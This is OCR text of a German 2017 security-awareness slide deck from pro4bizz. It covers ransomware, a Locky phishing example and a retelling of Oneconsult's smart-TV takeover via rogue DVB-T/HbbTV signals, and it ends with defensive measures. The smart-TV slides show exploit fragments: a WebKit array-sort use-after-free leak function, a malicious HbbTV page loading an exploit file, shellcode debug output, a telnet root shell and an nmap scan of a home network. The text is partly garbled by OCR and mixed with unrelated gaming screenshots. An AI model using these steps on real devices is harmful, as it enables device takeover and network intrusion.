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Agenda

« wo stehen wir? the state of the game (SotG)

« warum IT-Security nicht funktioniert!

« ,way down inside!” (Led Zeppelin)

« ,and now for something completely different® (Monty Python)

« warum wir zuerst verstehen mussen, bevor wir handeln konnen (PDCA)

* Informations Sicherheit: Top 10 MalRhahmen

 Diskussion
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the state of the game (SotG)

Sean “Day[9]" Plott Tyler Wasieleski JP McDaniel Geoff “iNcontrol” Robinson
@day9tv @chilltoss @itme)P @EGiNcontrolL
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Destiny vs Deezer - the most epic battle EVER | 0o »
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the state of the game (SotG)
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Threads 1to 20 of 38 2

Forums: State of the Game

Forum Toolsw Search Forumw

Sub-Forums Threads / Posts Last Post

Server Status Threads: 89 Maintenance - April
Check here for up to date Server Status messages Posts: 1531 27th,... 0D

by Ubi-gabelikes

04-26-2017, 04:43 PM

Known Issues Threads: 95 [Gameplay] Status Effect
Check here for up-to-date Known Issues & confirmed Exploits Posts: 5 when... D
by Ubi-gabelikes

Sub-Forums:  Resolved Issues 04-20-2017, 03:45 PM

Changelogs Threads: 42 [Changelog] — April 13th—... @
Posts: 1587 by Ubi-QuB3
04-12-2017, 01:47 PM

Title / Thread Starter Replies / Views Last Post By v
Sticky: Forum Rules Replies: 1 Cortexian
Started by Black_Widow9, 03-23-2012 08:49 PM Views: 10,241 01-28-2015, 10:26 PM 3

April 27th, 2017 Replies: 0 Ubi-gabelikes
Started by Ubi-gabelikes, 04-27-2017 05:32 PM Views: 553 04-27-2017, 05:32 PMm @

April 20th, 2017 \ Replies: 0 Ubi-gabelikes
Started by Ubi-gabelikes, 04-20-2017 05:33 PM Views: 1,504 04-20-2017, 05:33 PM D

Started by Ubi-QuB3, 04-13-2017 06:02 PM Views: 994 04-13-2017, 06:02 PM @

[BiaiihGamakopd 20 iges Replies:0  UbRQuB3
'.- ‘,ﬂf . Budapest

© pro4bizz GmbH 2017 S

April 13th, 2017 @ Replies: 0 Ubi-QuB3




p4b Security Fruhstuck prodbi==

protect.your.busimess

Starcraft 2 - Destinv trolling and makina Deezer cry o »
T Q 2o » oo 20/ a8 ’ 3
= T
e
- |
l) '
p »

Addtons Larva brthed

.
AT
.
A
»
»
- O ¢ 4
> B
‘-‘\ ——— 77?
* “- —_—
57 = - = RIIOF
r -3 W TR
(' . 5 5 . '.th‘ hJ
N ’..(3 "

P> Pl o) 0:22/1:59 m o Ik

© pro4bizz GmbH 2017 6




p4b Security Fruhstuck

sssssssssssssssssss

warum IT-Security nicht funktioniert!

« wir denken nicht wie ,hacker”

» wir sind zu arbeitsteilig organisiert — Containerdenken herrscht vor!

» Sicherheit ist KEIN integraler Designaspekt bei der Software-Entwicklung
» rapid development = insecure?

» Psychologie der IT-Sicherheit — was ich nicht weily, macht mich nicht heif3!
» |T-Sicherheitsdesign versus Marktokonomie der Anwendungen

» point solutions versus proaktives Design der Sicherheitslosungen

 eine Schwachstelle kontra 100 SicherheitsmalRnahmen
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Der Ransomwarefrojaner

Ransomware Angriffe Cryptowall verursacht bis
heute einen Schaden von
2015 Okt 325 $ Millionen - ca. 8 mal
SO viel, wie die Baukosten
2016 Feb des Empire State Buildings
Im ersten Quartal 2016 Im ersten Quartal Im driften

wurden durch
Ransomeware 209 $
Millionen erpresst - das

gesehen alle 2
Minuten ein

enfspricht dem Wert von 4 S
Gulfstream G550 Privatjets

Storage Insider, http:/Avww.sforage-insider.de/sirategien-gegen-ransomware-a-567837/
IBM, hitp://www-03.ibm.com/press/de/de/pressrelease/51243.wss

Kaspersky, hitps://blog.kaspersky.de/ransomware-for-dummies/9367/

Ostermann Research, hitp://blog.wiwo.de/look-al-it/2016/10/26/vier-von-zehn-unfemehmen-weliweit-von-ransomware-befroffen/

BSI, hitps://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Themen/Ransomware.pdf? _blob=publicationFilev=2
Wirtschafts Woche, http://blog.wiwo.de/look-al-it/2016/10/26 Vier-von-zehn-unternehmen-weliweit-von-ransomware-betroffen/

2016 fand sfatistisch Quartal waren

es hingegen

Ransomwareangriff alle 40

Sekunden

© pro4bizz GmbH 2017



p4b Security Fruhstuck prodbi==

protect.your.business

,way down inside* — locky is back!

™ B T & I R Scanned image from MX-2600N - Message (Plain Text) 7T — O X
x N | i : | e ¥ Create New ; &% Mark Unread a,?'& e q
« v —
- Nt [P~ [ Categorize - -
Delete Reply Reply Forward Move Translate Zoom
All £ . ™ Follow Up ~ : 3 -
Delete Respond Quick Steps - Move Tags . Editing Zoom A

Fn 4/21/2017 8:15 AM

noreply@egy.com

Scanned image from MX-2600N
To victim@talosintelligence.com

0 We removed extra line breaks from this message.
Message X noreply@egy.com_20170411_627542.pdf (58 KB)
Reply to: noreply@egy.com <noreply@egy.com> Device Name: Not Set Device Model: MX-2600N
Location: Not Set

File Format: PDF MMR(GA4) i
Resolution: 200dpi x 200dpi

Attached file is scanned image in PDF format.

Quelle: http://www.talosintelligence.com/
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,way down inside® — locky is back!

orep . CO w4l 38

File Edit View Window Help *

SRoEeXE| v o m/1| =) (e | 100% | ~ ||'.."]; ToolséSign%Commer:tJ

-~

see in 948699

"Open File [

The file '948699.docm" may contain programs, macros, or viruses that could potentially harm your
computer. Open the file only if you are sure It is safe. Would you like to:

n

@ Open this file
Always allow opening files of this type
Never allow opening files of this type

Quelle: http://www.talosintelligence.com/

© pro4bizz GmbH 2017 10
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_ HOME = INSERT DESIGN  PAGE LAYOUT  REFERENCES  MAILINGS  REVIEW  VIEW
e b 4 -~ — — P —
TimesNewR-[12 -| A A Aa- % =-i=-'C- &3 8l T |AaBbceDd AaBbCeDd AaBbC
Pajte e B I U ~-abex, X aty . A - E=== 1 » ¥ Normal
hpboard = Fomt Paragraph

AaBbCcl
¥ No Spac... Heading 1 Heading 2

Styles

1 Open the document in Microsoft Office.

Previewing offline is not available for protected
documents.

2 If this document was downloaded from your

email, please click "Enable editing” from the
yellow bar above.

Once you have enabled editing, please click
"Enable content” on the yellow bar above.

AabBl

Title

© pro4bizz GmbH 2017
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,way down inside* — locky is back!

3| C\Users\dex\DesktopOSIRIS Mm L ~ G| @ crusers\dex\DesktopOSRI

i"él_flv =] DesktopOSIRIS brnp - Wiekdows Photo Viewer
s 2

File = Pt @ E-ma Bum * Open +

All of
More inf
httg
httg

Decr‘ypti =t p . BCA 2 : s g server.
To recei Ho: /et pedia.ora/v RSA (crvptosye

veral ada-ons are ready for use

cle . B0 e @RS~

Quelle: http://www.talosintelligence.com/

Choase acd-ons Don't enabile
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»and now for something completely different* (Monty Python)
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p4b Security Fruhstiick News  Newsticker 7-Tage-News Archiv Videos Foren

Topthemen: Windows10 DVB-T2 GalaxyS8 iPhone i0S10.3 Raspbern

warum Wir ZuerSt verStehen mu?senl, N 2017 KW 13 > Smart-TV-Hack: Schadcode Uber DVB-T oglicht Ub h der F
- . ISe onlineg > News »> > > Smart- [ V-Hack: >chaccoce uber -1 ermoglic ernanme aus aer rer
bevor wir handeln konnen (PDCA}

« vorige | ndchste »

Smart-TV-Hack: Schadcode liber DVB-T ermoglicht Ubernahme aus
der Ferne

Politik Gesellschaft Wirtschaft Kultur~ Wissen Digital Campus~ Karrie

02.04.2017 12:51 Uhr - Nico Jurran () vorlesen

L | :

Smart-TV

Traue keinem Fernse

Smart-TVs in Wohnzimmern sind neue Beute fi
Entdeckungen von Sicherheitsforschern und g
zeigen kreative Angriffsszenarien.

Von Eike Kiihl
4. April 2017, 20:45 Uhr / 26 Kommentare /
[
/
[
(Bild: dpa, Britta Pedersen) :
Einem Sicherheitsexperten ist es gelungen, volle Kontrolle liber einen Fernseher zu !
iibernehmen, indem er in das DVB-T-Signal Code einschleuste, der eine Sicherheitsliickein
der HbbTV-Applikation des Gerats ausnutzt. ‘
Dass sich Smart-TVs hacken lassen, ist an sich keine Neuigkeit: Beispielsweise gab es 2012 l

bereits ein Proof-Of-Concept-Exploit - und im vergangenen Monat lernten wir durch von
Wikileaks veroffentlichte CIA-Interna das Geheimdienst-Projekt "Weeping Angel" kennen, bei
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bisherige Angriffe auf ,,smart” TV Umgebung

’

*

__——  HbblV X.\\

Classic Environment Enduser Modern Environment
_______I
IE Nad”
I CABLE
Signal Amplifier — Smart TV
1
TERRESTRIAL ®
TV Sender Distributor _
Priv. Person Company
—

£ oneconsult 2 D 2017 Oneconsult AG

© pro4bizz GmbH 2017 115
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Verbreitung des exploits: wer nutzt den TV browser?

* Niemand ... aulRer HbbTV ! °
 _Red button®

Wikipedia:

* Industry Standard & promotion initiative

« Hybrid digital TV

* harmonise broadcast delivery and IPTV to the end customer

fur den Hacker:
« eine Méglichkeit den smart TV zum Offnen einer Webseite (iber DVB

Quelle: Oneconsult AG

-
© pro4bizz GmbH 2017 16
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das Problem mit HBBTV

» per design kann jeder den smart TV zwingen eine Webseite zu offnen
« DVB ist nicht sicher!

* es gab keinen Grund es sicher auszulegen

« es ist unidirektional

« ,hybride® Technik aus etwas wo Security keine Rolle spielt (DVB)
und etwas wo Security kritisch ist (Internet)

* unsichtbar fur den Anwender

« Anwender wird nicht gefragt!

Quelle: Oneconsult AG

-
© pro4bizz GmbH 2017 7
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Angriffsplan

Classic Environment

TV Sender

-l-
4

Decoding, QAM,

Signal Amplifier
1

Distributor

£ oneconsuilt

Quelle: Oneconsult AG

TERRESTRIAL

Enduser

© pro4dbizz GmbH 2017 18
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erzeugen eines DVB / HbbTV Signal

- DVB
« one-way Kommunikation
 vollstandig anonym

* Moglichkeiten zum Senden eines rogue DVB signal
* Angriff auf TV Sender

« Uberschreiben des DVB-T Signals
« Unterbrechung des DVB-C (aka IP-TV)

o« XSS der Webseite des Senders

Quelle: Oneconsult AG

L] D)O'

-

i:

© pro4bizz GmbH 2017 I



p4b Security Fruhstick prodbiz==

protect.your.business

HbbTV Angriffsdemo

« erzeugen eines HbbTV stream
« ausnutzen einer Sicherheitsllicke im Code (BO)

 Kontrolle des SmartTV

« Gesamtkosten < 150%
« eventuell Verstarker notwendig

* Prinzip seit 2015 bekannt

Quelle: Oneconsult AG
- 0000000000000 00000000
© pro4bizz GmbH 2017 20
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Umsetzung

- v . B3 MCS_ackwairmetTV ¥0 1 ppts - Somestors e -

- )
- - - o Dwsagr Tomtzrn B 3 Saoe L V- oegrerses o led e e oo wart o 30

Home oc_kali_wvmW

/mtd_exe/moip/exeCamera -vdbinder

[flush-254:0]
[loopl]
[loop2]

[loop4d]
/mtd_ exe/webklt/webKltWebProcess "
[loop252] S

[loop253] Derice st | ERERESRRIINUNN - | 1Q calibrat
[Cf980211 ] Chip Type: 5507 Device type: 11
[ath6kl] —
[loop251]

Reset to Defaust

S /mtd_exe/Webkit/Web| e — =
S /mtd cmmlib/WIFI_LIB Coderate | DR
SW< [loop160] Costeloton | DD

/bin/sh Guard nterval D) Y32

sh -¢c /bin/sh /mtd_r Transmission mode 0) &) Moduiator Output Data rate §032085

/bin/sh /mtd_rwcommo 2t G : TS Fie Irout Data Rate
/dtv/bin/samygo_teln
/dtv/bin/busybox nc
[kworker/1:2]
/mtd_exe/WebServerAp
/mtd_exe/nodejs/nodejysn
{BrowserLauncher} 06"
{WebKitWebProces} /m
{WebKitGPUProces} /m

-
-

/mtd_rwarea/oc/getro
sh -c sh
sh

ps

DUOu0nLhunumumunmnoumoumuunmoumunounom
—
-

= =

© pro4bizz GmbH 2017 21
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smart TV command shell exploitet!

: &
oc_kali_vmW l

UP BROADCAST RE
RX packets:244
TX packets:231
collisions:0 t}
RX bytes:50426
Interrupt:201 |

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:1304 errors:0 dropped:0 overruns:0 frame:0
TX packets:1304 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:95286 (93.0 KiB) TX bytes:95286 (93.0 KiB)

p2p0O Link encap:Ethernet HWaddr 56:88:0E:99:28:19
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:2 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:22 (22.0 B)

wlan0 Link encap:Ethernet HWaddr 54:88:0E:99:28:19
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:60 errors:0 dropped:0 overruns:0 frame:0
TX packets:11 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:13673 (13.3 KiB) TX bytes:273 (273.0 B)

@ °m 8 T « OmMY O ® P o - % W 8 " LB F @m0 « @ q s 3EKeeme B o

© pro4bizz GmbH 2017 2
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Original ...

Quelle: Oneconsult AG

© pro4bizz GmbH 2017 23
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und Falschung

Home oc_kalki_vmW

L# mv hbbApp/*
html# 1s -la

total 92
drwxr-xr-
drwxr-xr-
-rWXr-Xr-
-TWXr-Xr-
~-TWXr-Xr-
- TWXI - XTI -
- rWXr-Xr-
~-TWXr-Xr-
-rWXr-Xr-
-rWXr-Xr-
-TWXr-Xr-
drwxr-xr-
-FWXr-Xr-

4096 Feb
4096 Feb e
5943 Feb - Explo
2416 Feb : Explo
11101 Feb - Explo
6141 Feb - explo
1169 Feb - exploi
420 Feb - exploi
11240 Feb - exploi
2281 Feb : Exploi

19836 Feb ~ Exploi

4096 Feb - hbbApj Consu
603 Feb - index.

html# cat index.html ‘

XK oM X X X X X X X X X X X
bt N b et o e e e e e e )W

<html>
<body>

<object classid="clsid:d27cdbbe-aebd-11cf-9¢
/cabs/flash/swflash.cab” width="1200" height="6€

<param name="movie" value="exploit.swf"” />

<param name="allowScriptAccess” value="alway

<param name="FlashVars" value="pl=win&os=Wir

<param name="Play" value="true" />

<embed type="application/x-shockwave-flash
FlashVars="pl=win&os=Windows 7" Play="true"/>

</object>

</body>

</html>

Quelle: Oneconsult AG

© pro4bizz GmbH 2017 24
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Bauanleitung fur einen neuen exploit ©

» jede Menge ausnutzbare bugs fur smart TV vorhanden
 alte Sicherheitsllcke in Array.prototype.sort()

» Custom compare function

Webkit (Apple) sort

Quelle: Oneconsult AG

e
© pro4bizz GmbH 2017 25
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Array Sort Prinzip

I Old storage -

F-----------------

I Sorted storage :

£ oneconsult’ 4 D 2017 Oneconsult AG

- 00000—uuu.44u.u.ud/./d//———n4—4—4n4ududd/d——n0n0n0909007
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Array Sort Sicherheitsliicke (Memory Leak)

» A JSArray has an ArrayStorage (JSArray.h)

struct ArrayStorage {
unsigned m length; // The "length" property on the array
unsigned m_ numValuesInVector;
SparseArrayValueMap* m sparseValueMap;
void* subclassData; // A JSArray subclass c
void* m allocBase; // Pointer to base address
size t reportedMapCapacity;

» This storage holds the actual values
» Sorted is in an AVLTree

»  Array.prototype.shift()

12
I -
I AVLTree<AVLTreeAbstractorForArrayCompare, 44> tree;l
I

£ oneconsult 4 D 2017 Oneconsult AG

- 00000—uuu.44u.u.ud/./d//———n4—4—4n4ududd/d——n0n0n0909007
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Array Sort Prinzip modifiziert

Old storage

Heager structure new
£
Fl

Header structure old
t4

E2

£ oneconsult 42 D 2017 Oneconsult AG

- 00000—uuu.44u.u.ud/./d//———n4—4—4n4ududd/d——n0n0n0909007
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Array Sort Sicherheitslucke (Memory Leak)

» Important part of the leak function:

var myleakCompFunc = function(x,y)
{
if (y == && x = ) {
al.shift();
al.shift();
al.shift();
}

»  Call the function and read the leaked address:

Array.prototype.sort.call (al, myLeakCompFunc) ;

val=d2u(al[Z]);

1eakedAddress=val low; //points to al

1ogdbg( ced heap address: "+leakedAddress.toString(16)); // points to al

£ oneconsuit 43 D 2017 Oneconsult AG

e
© pro4bizz GmbH 2017 %)
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Array Sort Sicherheitsliicke (Memory Leak)

-

Create a new Array
» Delete one element of the new Array (A2)
Set the length in the old ArrayStorage of A2 to the address of A1l

The cpp-sort function will free A1 since it actually frees what is at A2.length
due to the shift()

» Results in a simple to exploit Use After Free (UAF)

-

var myCompFunc = function(x,y)

{ struct ArrayStorage {
if (v == £& x == unsigned m length
(‘q ) o . S S 2%3
a2.shift(); unsigned m_numValue
a2.length=leakedAddress; SparseArrayValueMap* m sparseValueMap;

1d* subclassData;

Quelle: Oneconsult AG

© pro4bizz GmbH 2017 30
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Smart TV Hacking (Oneconsult Talk at EBU Media Cyber Security Seminar

S Vew W s ey - ] - —

- -

Home oc_kali_wvmW

1448 root 23464 S /mtd_rwarea/oc/getroot 4
1458
1459
1460
~C

total
drwxr
drwxr Guard nierva
J_St ream/ Transmsson mode
total
drwxr
drwxr
drwxr

[

ploitE/ehk 8
- . . rexp/

U £ 1s -la
total - m— - L
drwxr-.. ———————— o o
drwxrwxrwx root root O Feb 20 09:29
drwxrwxrwx root root O Feb 20 16:41
- TWX WX rwX root root 4984 Dez 14 15:56 module.py
- TWXTWX WX root root 5886 Feb 20 09:56 module.pyc
- PWXIWXrwX root root 6856 Feb 20 09:29 server.py
2 :~/03_audits/1701-EBU_MCS/exploitE/ehbbexp/ehbbexp# python server.py

HH m 8 8 4 B @ ! | i . : £ & ’ ) Srxesempyc 8

Il < 1:.01:23/1:16:39 [ I L Tuhe I

© prodbizz GmbH 2017 31
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Smart TV Hacking (Oneconsult Talk at EBU Media Cyber Security Seminar A

D oc ob v sy Woremrer

s ey

:~/03 audits/1701-EBU_MCS/exploitE/ehbbexp/ehbbexp# python server.py

192.168.100.17 - - [22/Feb/2017 10:09:22] "HEAD /hbbApp/index.html HTTP/1.1" 200 -
192.168.100.17 - - [22/Feb/2017 10:09:22] "GET /hbbApp/) -
192.168.100.17 - - [22/Feb/2017 10:09:22] "GET /hbbApp/

192.168.100.17 - - [22/Feb/2017 10:09:22] “GET /hbbApp/

192.168.100.17 - - [22/Feb/2017 10:09:23] "GET /hbbApp/

192.168.100.17 - - [22/Feb/2017 10:09:23] "GET /hbbApp/

DBG: Initialization

DBG: After push

DBG: Leaked heap address: 0x9242b08
DBG: After second sort

DBG: After spray

DBG: allen: 0x41414141

DBG: a2len: 0x9242b08

DBG: al[18]: 0x9242b60, 0x14

DBG: Found changed buffer at attempts[4159] with s
DBG: vO: 41414141

DBG: vl: 42424242

DBG: Found Uint32Array at: 0x853734f0
DBG: Found ArrayBuffer at: 0xa645530

+ 4+ 4+ 4+ 4

+ + + + + +

+ 4

+] DBG: Found Element object at: 0x853b24c0 ~ 5 —
+] DBG: Found Element vtable at: 0x74e441d0 . 3
+] DBG: Allocated free memory at: 0x8538c008 = — e ———

DBG: Fake vtable at: 0x8538c008 -
DBG: Copying vtable...

DBG: WebCore::Element::setScrollLeft is at: Ox74aabb9c
DBG: Copying shellcode to rwx page...

DBG: Shellcode copied...

DBG: Executing shellcode...
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+ + + + + 4
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59:25
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Il € 1:.01:51/1:16:39 B2 5 @@ -
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Smart TV Hacking (Oneconsult Talk at EBU Media Cyber Security Seminar

616
617
643
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685
687
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689
767
768
770
880
894
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1099
1100
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0 SW [RtmpCmdQTask]

/mnt/b

)yin/sh

ih

Iir=/dt

lir=/dt

) PHP'S C (T —
) PHPS5C (s :

) PHP5C(

) PHP5C(

o e e [Sben Fiben ik S iee B BBor B = BB B e 200 M e o B Mo

1
4
4
¢

T ATYW N [

:~# telnet 192.168.100.17 2023
Trying 192.168.100.17...
Connected to 192.168.100.17.
Escape character is "~]°'.
/bin/sh: can't access tty; job control turned off
VDLinux#> |}

1:04:04

H| O m & & - 3 & I o g
Il < 1.0532/1:16:39 B 5 vu@d I:

Xeamc B
—
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scan auf Heim Netzwerkmit nmap

1127 root 148m T /mtd_down/emps/empWebBr
1274 root 1688 S sleep 10
1276 root 4148 R ps
~C
:~# telnet 192.168.100.17 2023

Trying 192.168.100.17...

Connected to 192.168.100.17.

Escape character is '"*]°".

/bin/sh: can't access tty; job control turned off
export LD LIBRARY PATH=$LD LIBRAR
cd /mnt/opt/privateer/usr/bin/
./nmap 192.168.100.1 --servicedb

Starting Nmap 5.51 ( http://nmap.org ) at 1970-01
Cannot find nmap-payloads. UDP payloads are disab
Nmap scan report for 192.168.100.1
Cannot find nmap-mac-prefixes: Ethernet vendor co
Host is up (0.0032s latency).
Not shown: 312 closed ports

STATE SERVICE

open http

filtered loc-srv

filtered netbios-ns

filtered netbios-dgm

filtered netbios-ssn

filtered microsoft-ds
MAC Address: 08:00:27:7B:F8:8C (Unknown)

1 IP address (1 host up) scanned in 51.75 seconds

Quelle: Oneconsult AG
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Hacking and making money

verbreitet:

* durchfuhren und Verkauf von DDOS Angriffen (Okt. 2016)
« angreifen von internen Servern

* ausspionieren von Benutzern

mogliche Alternativen:

 WLAN aktivieren und Netzwerk angreifen

» beliebigen Inhalt auf alle TVs senden die ,online“ sind

* Inhalte auf smart TVs speichern

» Mikrofon, webcam oder andere smartTV Funktionen aktivieren

« Geschaft angreifen oder generieren durch eingeblendete
Werbung oder Ahnliches

Quelle: Oneconsult AG
- 0000000000000 00000000
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Hacking and having Fun!

Quelle: Oneconsult AG
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Zusammenfassung

* DVB-T und vermutlich auch DVB-C kann uUberschrieben werden
« ein Angreifer kann sein eigenes DVB Signal senden

 HbbTV aktiviert DVB-T
« die uberpruften TV Hersteller patchen Sicherheitslicken zu langsam oder gar nicht

« smart TV Gerate konnen vollstandig Ubernommen werden

Quelle: Oneconsult AG
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Informations Sicherheit: Top 10 MaBRnahmen

1. Benutze ein starkes Passwort

2. Schutze vertrauliche Informationen

3. Stelle sicher, dass Betriebssystem und Virenschutz aktuell sind

4. Nutze nur sichere und unterstutzte Applikationen

5. Vorsicht bei verdachtigen E-Mails

6. Speichere vertrauliche Informationen nur auf firmeneigenen Servern
7. Sichere deine Daten und stelle sicher dass sie wiederherstellbar sind
8. Schutze Informationen jeder Art!

9. trainiere Dein Sicherheitsbewusstsein

10. Wenn Du unsicher bist frage nach!

Quelle: http://www.humboldt.edu/
Y
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Enterprise Security

Secure
Your

First 5 CIS Controls
Eliminate the vast majority of
your organisation's
vulnerabilities

Organization

@ CIS SecureSuite

Membership

Become a member

Learn More -

Lo I+

e NS

10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:

CIS Controls

Inventory of Authorized and Unauthorized Devices -
Inventory of Authorized and Unauthorized Software -
Secure Configurations for Hardware and Software -
Continuous Vulnerability Assessment and Remediation -

Controlled Use of Administrative Privileges -

Maintenance, Monitoring, and Analysis of Audit Logs -
Email and Web Browser Protections -

Malware Defenses -

Limitation and Control of Network Ports -

Data Recovery Capability -

Secure Configurations for Network Devices -
Boundary Defense -

Data Protection -

Controlled Access Based on the Need to Know -
Wireless Access Control -

Account Monitoring and Control -

Download -3
the First 5

CIS Controls

Security Skills Assessment and Appropriate Training to Fill Gaps -

Application Software Security -
Incident Response and Management

Penetration Tests and Red Team Exercises -

-
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Diskussion

« wo sehen Sie fur sich im Unternehmen die grossten Bedrohungen?

« was ist das starkste Hindernis bei der Umsetzung lhrer Security Policy?

« warum steckt die Informationssicherheit immer noch in den Kinderschuhen?
« weshalb scheinen uns die Angreifer immer einen Schritt voraus?

» oder ist das alles nur Panikmache der IT Security Industrie?

- 00000—uuu.44u.u.ud/./d//———n4—4—4n4ududd/d——n0n0n0909007
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Nutzliche Links

https://www.bsi.bund.de
https://www.sicher-im-netz.de
https://bitkom.org
http://www.bmwi.de
https://www.sans.org
https://www.cisecurity.org/

DVB-T hack
http://www.zeit.de/digital/datenschutz/2017-04/smart-tv-hacker-angriff-rundfunksignal-cia
https://www.oneconsult.com/de/smart-tv-hacking/
https://www.youtube.com/watch?v=bOJ 8QHX60A
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